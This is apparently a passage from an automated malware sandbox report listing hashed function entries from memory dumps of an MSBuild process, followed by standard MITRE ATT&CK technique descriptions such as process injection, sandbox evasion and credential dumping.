Instruction ID: 843b773da144f709fe62d02fa93a67017c0437a00d1797e731f077e886bb9103
Opcode Fuzzy Hash: 683c1b8322a61e5ffff5e2ae444f1111db853b722f9d162b66300dee17a6fe95
Instruction Fuzzy Hash: EF419D31A44249DFCF12CFA8C848BDEBBB2AF49314F04D465E915AB391E370E954CB50

Function 02EB3CB1 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3577133556.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2eb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8630609ff9c424bd04782dfccd2fd686690259d891e383aa0ed871d1e2bb68d1
Instruction ID: a414ffcfb5c0a3bf6f9ba81ee4d0c82eeada203cb86f304b322242cdedc44369
Opcode Fuzzy Hash: 8630609ff9c424bd04782dfccd2fd686690259d891e383aa0ed871d1e2bb68d1
Instruction Fuzzy Hash: 30316E317842658BDF1A467998953FFABA6AFC5208F18D4BEE802C3380DB75CC45C760

Function 02EBFDBA Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3577133556.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2eb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 943ec125e25cb55a487252261ace3e4d3b394ed529ab16c5f2557e48661c23d8
Instruction ID: 00e7152aed758cac4942d07ef96e7096276740c46e7a72266bd7399c2b945baf
Opcode Fuzzy Hash: 943ec125e25cb55a487252261ace3e4d3b394ed529ab16c5f2557e48661c23d8
Instruction Fuzzy Hash: 7F41DE74E422088FDB14DFA5D9847EEBBF2FF89300F249529E805A7294DB385A46CF50

Function 02EB6FC8 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3577133556.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2eb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b7bf48fd3dd12ba5ea69cd6a677f3beddee841b403d17e202c6d9c61223f85b
Instruction ID: a021454c8cb293d3a96a4548fc9b86596c917a6f017d7246822b599337c6f4b2
Opcode Fuzzy Hash: 4b7bf48fd3dd12ba5ea69cd6a677f3beddee841b403d17e202c6d9c61223f85b
Instruction Fuzzy Hash: 1041DE32A402489FCB128F64C844BABBBF6EF84304F04D46AE815DB691DB79DD55CBA1

Function 02EB5658 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3577133556.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2eb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7050285b617426aa7dd894acdd9442bf25ebe8d18b458aee2dafcedddcce3177
Instruction ID: d525abebba6ad1870b27cb8b8eaf4f13109fbf54343b861ab1d7ccb147d5b5b0
Opcode Fuzzy Hash: 7050285b617426aa7dd894acdd9442bf25ebe8d18b458aee2dafcedddcce3177
Instruction Fuzzy Hash: D3319F31781109DFCF129F65E854AAF3BB2EF48304F909869F91597244DB39CD62CB90

Function 02EB8EF8 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3577133556.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2eb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d43d8827c5597b48627e65620286446109f17c104e384e3a6fadd02bf6d9c1f5
Instruction ID: b2accee183f702222c3cf4af48fc57ba22399521f30abb3ed16fc36bb71e0d44
Opcode Fuzzy Hash: d43d8827c5597b48627e65620286446109f17c104e384e3a6fadd02bf6d9c1f5
Instruction Fuzzy Hash: 7E31B4303811098FCB26CB6AD8587BF776FBF84704B14A86AE052CB392DB28CC81C755

Function 02EB8380 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3577133556.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2eb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d015f6138617b5739f8005deff7cbfd74082572b274960b2cc8f88c94ddbe771
Instruction ID: f5d9d06406d1e52718f42f9a14acdb62e7668d5d9c755c4bff9ae0991bf2029f
Opcode Fuzzy Hash: d015f6138617b5739f8005deff7cbfd74082572b274960b2cc8f88c94ddbe771
Instruction Fuzzy Hash: 7421B0303842018BEB169A2694547BF329BAFC474CF54E43AD602CB7A9EF65CC82D381

Function 02E2D005 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3576490546.0000000002E2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2e2d000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc84f1b8bf6a0e63648636eef8338e42dbf47a243ba7068f03233f708a696ad8
Instruction ID: bb094cf24717937eeec57d1929de71210a0c44f1a36dc2029c4f487e7bbe3f59
Opcode Fuzzy Hash: dc84f1b8bf6a0e63648636eef8338e42dbf47a243ba7068f03233f708a696ad8
Instruction Fuzzy Hash: 8331297114E3C49FC7038B24C9A0711BF71AB47214F29C5DBD9898F2A7C22A980ACB62

Function 02EB62F0 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3577133556.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2eb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 295dbf431b1a8c8dc86de324e44bb482da37d8598cd1c9fa4064e72383d88a3a
Instruction ID: 8d1af62380468cf5be525c4e5576e2bf0cc0018b293215034e84ea31d964c183
Opcode Fuzzy Hash: 295dbf431b1a8c8dc86de324e44bb482da37d8598cd1c9fa4064e72383d88a3a
Instruction Fuzzy Hash: 7F2100317856118FC7269A2AD45496FB3A6EFC9759709947AE816CB394CF30CC02CB80

Function 02EB28F0 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3577133556.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2eb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 164663a47f56ed6ba5867e5f6b470a0ff1c038d12f2f518360dfc44f0d5fd912
Instruction ID: d848f4229d733b44b2c01c8a2eaa5665634e1f6dd9d04e1490a4041ef36da270
Opcode Fuzzy Hash: 164663a47f56ed6ba5867e5f6b470a0ff1c038d12f2f518360dfc44f0d5fd912
Instruction Fuzzy Hash: 8E21AC31A0110A9FCF15CF24C440AEF77A5EF9D264B10C16DEA1AAB350EB34EA42CBD1

Function 02E1D468 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3576396837.0000000002E1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2e1d000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2392429d4cc3f1e1cf699bcdeb38e9b20211242321484144c4edb1c3709ca03e
Instruction ID: 8d86ed68a60610e8892cbc2419b521c5d912dd4cbe03de71e28f24e57ac8ebc0
Opcode Fuzzy Hash: 2392429d4cc3f1e1cf699bcdeb38e9b20211242321484144c4edb1c3709ca03e
Instruction Fuzzy Hash: F0210372540204EFDB05DF14D9C0B56BB65FB88318F24C57DE90A0A256C33AD456CAA2

Function 02E2D044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3576490546.0000000002E2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2e2d000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cd32b55530d64c9e42fb5722c33a758026ccdccc3fb615dd90ed2503d491efc
Instruction ID: a9be1be7c3718a403813f5aaf374c52b61aef70e6b6b06d87eed931b2a3c2edc
Opcode Fuzzy Hash: 8cd32b55530d64c9e42fb5722c33a758026ccdccc3fb615dd90ed2503d491efc
Instruction Fuzzy Hash: 84213471544204EFDB14DF20CDC0F26BB66FB88318F24C56DEA0A4B262C73AD84BCA61

Function 02EBAEF0 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3577133556.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2eb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3fcffae99679db1b8b0f66a11167aa05e0de02c85131abd805753ade523f5a3f
Instruction ID: 3b46a01a1d45c8d022d284b08e146c2900872868d6b063ec79d3308ac78a0a18
Opcode Fuzzy Hash: 3fcffae99679db1b8b0f66a11167aa05e0de02c85131abd805753ade523f5a3f
Instruction Fuzzy Hash: 47210072A442449FCB019F65DC94BDEBBB6FF8D314F14846AE901E7391DA309C11CB60

Function 02EB5649 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3577133556.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2eb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d790bf0e74826d0da897627d20525e04a63f87c3325cb6be7782321873a97dd7
Instruction ID: b5e3ccec5d20de0740001232bc8c26b10e2d9f0d6571cde70c92d23e5bb18f55
Opcode Fuzzy Hash: d790bf0e74826d0da897627d20525e04a63f87c3325cb6be7782321873a97dd7
Instruction Fuzzy Hash: D121DE31686148CFCB129F24E444BAB3BA2EF45318F51E8A9E8458B244DB39CD52CBA1

Function 02EB4285 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3577133556.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2eb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42d9202e7603e5ebe05eb25d0550d40c37fd9eaa906dad30afc984c8f425d1e3
Instruction ID: 2aa13d7404311e1da3cd27fca25821eaadec6534b8ef53f9544258e4981376f2
Opcode Fuzzy Hash: 42d9202e7603e5ebe05eb25d0550d40c37fd9eaa906dad30afc984c8f425d1e3
Instruction Fuzzy Hash: 19319378E51208CFCB45DFA8E69489DBBF2FF49314B2090A9E809AB361D735AD41CF50

Function 02EB9761 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3577133556.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2eb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 683bdc8843da4425b5e713c1488a9ff662267f2f2a2ec3af70a4bb5bdce606a7
Instruction ID: 6b75961f7c31177ace74483f649295cb59e7298fc746bfc47bdc1d5902db8a24
Opcode Fuzzy Hash: 683bdc8843da4425b5e713c1488a9ff662267f2f2a2ec3af70a4bb5bdce606a7
Instruction Fuzzy Hash: E4216830E41258DFCB05CFA6E550AEEBFB6AF48209F249469E511E6291DB359981CF20

Function 02EBF640 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3577133556.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2eb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac9feb88e6d47b44c0fe01fd920a8d83b181c67324c400b2a7ee62aad9ed2102
Instruction ID: 1544c2222c49d42d062ea67152973526c652174476c2f12239bbb3037bc551ad
Opcode Fuzzy Hash: ac9feb88e6d47b44c0fe01fd920a8d83b181c67324c400b2a7ee62aad9ed2102
Instruction Fuzzy Hash: 15217CB0D0024ADFDB15EFB9D54069EBFF2EB85300F00D5B9C558A7255E7388A068B80

Function 02EB6300 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3577133556.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2eb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5a57e596ff2b6655bd3756fdee9d559d173ed4fd221c518398a6e26013223a6
Instruction ID: b1ff1a2f4acb42bd27d04a923e01b8700c558b9f3dc3db07be5aacc694cb179f
Opcode Fuzzy Hash: e5a57e596ff2b6655bd3756fdee9d559d173ed4fd221c518398a6e26013223a6
Instruction Fuzzy Hash: CF11E1357826118FCB169A2AD45497FB7AAFFC5799309847CE916CB360DF21DC02CB90

Function 02E1D463 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3576396837.0000000002E1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2e1d000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 347ceff61f71c01d8d79cfdbd8358f6f0be4c31f492294fd5b1d002aa0560fbf
Instruction ID: a1e6f3d84df92bbc6f95ce5978a5262218fc6982fd374e5ba7e835f94b4ed760
Opcode Fuzzy Hash: 347ceff61f71c01d8d79cfdbd8358f6f0be4c31f492294fd5b1d002aa0560fbf
Instruction Fuzzy Hash: 3A11D076544284DFCB16CF10D9C4B16BF72FB88328F24C6A9D8090B256C33AD45ACBA2

Function 02EB27F0 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3577133556.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2eb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb385726804150ffc4d2702257db21120f1bee0e2b79cbb1b69e0d1dca9d412e
Instruction ID: 2c51deb7ee34f9cc1f2618016bc3be1a666ec5e9a7bdb3c3ec3994f7e43f50f7
Opcode Fuzzy Hash: fb385726804150ffc4d2702257db21120f1bee0e2b79cbb1b69e0d1dca9d412e
Instruction Fuzzy Hash: 6C21D075D4160A8FCB00EFA9D9456EEBBF4FF09305F50552AD809F2210EB305A95CBA0

Function 02EBF650 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3577133556.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2eb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbbae438b8f79fe1ce20da1b8a45f5f486c3077fc7722fb1880c47e0d84ba427
Instruction ID: ab31e0f0c0d43486fa4962157fbf7e3d6e296b6d34b2acd4355ed2df217f19fe
Opcode Fuzzy Hash: bbbae438b8f79fe1ce20da1b8a45f5f486c3077fc7722fb1880c47e0d84ba427
Instruction Fuzzy Hash: F3112970D4020ADFDB14EFA9D540A9EBBF2FB85304F00D5B9C559AB255EB389A468B80

Function 02EB5E98 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3577133556.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2eb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1769eca5ea0f2ccae8d84876a7b9e61edc799b1479df736aa563c6b856d798bf
Instruction ID: 6032446ed0806285f502954342caca2022c0eb900a9c2ac212549ea98ff88e59
Opcode Fuzzy Hash: 1769eca5ea0f2ccae8d84876a7b9e61edc799b1479df736aa563c6b856d798bf
Instruction Fuzzy Hash: EA01D432B801146BCB019E59A850BEF3BEBDFC8754F55D02DF505D7284EE318D129B94

Function 02EBABE0 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3577133556.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2eb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 043af0a672c23eb25d4fb704b81a8632400fd436425efc5502ab355065197380
Instruction ID: b3b06ad71ad6eaa533a6d84ada3acdd2ac35ee3f71276f254c3dd2b553f80f51
Opcode Fuzzy Hash: 043af0a672c23eb25d4fb704b81a8632400fd436425efc5502ab355065197380
Instruction Fuzzy Hash: 75F0C8313802104B8B169A2E94546AB76DEEFC895E3459079E409C7361EF21CC428780

Function 02EBE8E8 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3577133556.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2eb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41c75242d4d8be0687e97372180770d35b4b57448e38d8865d16537d0da284fb
Instruction ID: 1c993860245e4847eba95f6552a3ef38e7bb10616aa43eb98d334c15ae8af8a2
Opcode Fuzzy Hash: 41c75242d4d8be0687e97372180770d35b4b57448e38d8865d16537d0da284fb
Instruction Fuzzy Hash: EC0109B4D0020AAFDB00CFA9D945AAEBBB1FB88700F408475D914A3350D7395A66DF91

Function 02EB28AA Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3577133556.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2eb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dccd00595f78453b1f2c718f2106244525983d482b40518a583a664ffa0af030
Instruction ID: 8a0552e7f2695075786e8c9e02d4c867b2539a98faafa56836e6fee8ab512205
Opcode Fuzzy Hash: dccd00595f78453b1f2c718f2106244525983d482b40518a583a664ffa0af030
Instruction Fuzzy Hash: 54E0C232D2122B57CB00E7A5DC018EFBB38EEC2220B848222D41037100FB302659C6E0

Function 02EB28B0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3577133556.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2eb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65f02d1fc8a3fa631c7629f7a90428ee3ca40dc801b2782a801c4d72ed29020d
Instruction ID: 76d11c61ae604af78a2df147a7dd9ff603c47e304809cef8dd32cb21c2aae4f9
Opcode Fuzzy Hash: 65f02d1fc8a3fa631c7629f7a90428ee3ca40dc801b2782a801c4d72ed29020d
Instruction Fuzzy Hash: 16D05B31D2126B57CB00E7A5DC044EFF738EED5661B544626D51437140FB702659C7E1

Function 02EB6739 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3577133556.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2eb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a3dfc1ff09465f10075d2426117924ebb67e513798e68612a5caaf11b996ad4
Instruction ID: 8c05f8a57e8bf2d1563fdd76819fdb67e07336c9181ee7f431396e82b557e16c
Opcode Fuzzy Hash: 1a3dfc1ff09465f10075d2426117924ebb67e513798e68612a5caaf11b996ad4
Instruction Fuzzy Hash: 67D05B311443064ED701B775FD05B567F2EDB80704F56953C61445A745EE6858414660

Function 02EBD6D4 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3577133556.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2eb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd0f03a6df5eaf8a7df2bd8503200ae671c482c48a86c2f1d57afcdcf81112f0
Instruction ID: 7c991fc5ed8040bf1d688caa11d05794c6d680180a7aa1256cff0c976a75a6f8
Opcode Fuzzy Hash: bd0f03a6df5eaf8a7df2bd8503200ae671c482c48a86c2f1d57afcdcf81112f0
Instruction Fuzzy Hash: BDD0E234E80009CBCB20DFA9E4944DCBB70EF48321B10542AD925E3200C63055A2CF00

Function 02EBAFAD Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3577133556.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2eb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 733160e38c5e33ba7cd2b5310d1f5450844cd31a0c41f7061df72fd4179db569
Instruction ID: ead0ee5a81b51b11f627e0db0abe4205ac53673c1a6572e195be96c6dbf543a7
Opcode Fuzzy Hash: 733160e38c5e33ba7cd2b5310d1f5450844cd31a0c41f7061df72fd4179db569
Instruction Fuzzy Hash: 13D0673AB41008DFCB049F99E8409DDF7B6FB98221B448516F925E3260C6319965DB60

Function 02EB6748 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3577133556.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2eb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6f8a5eb9b3bfaca2d899a26d41c7b45e0c96376292764b75cfebb158d36740d
Instruction ID: 12f5121d1cd7861d468c9e905dcd84f4c4dd3e27f017e18e8830226e4a27070a
Opcode Fuzzy Hash: b6f8a5eb9b3bfaca2d899a26d41c7b45e0c96376292764b75cfebb158d36740d
Instruction Fuzzy Hash: 97C0123054430A8EDA41FBA5FD445157B2AE680304B419938A1051A749EE7D5C864A90

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

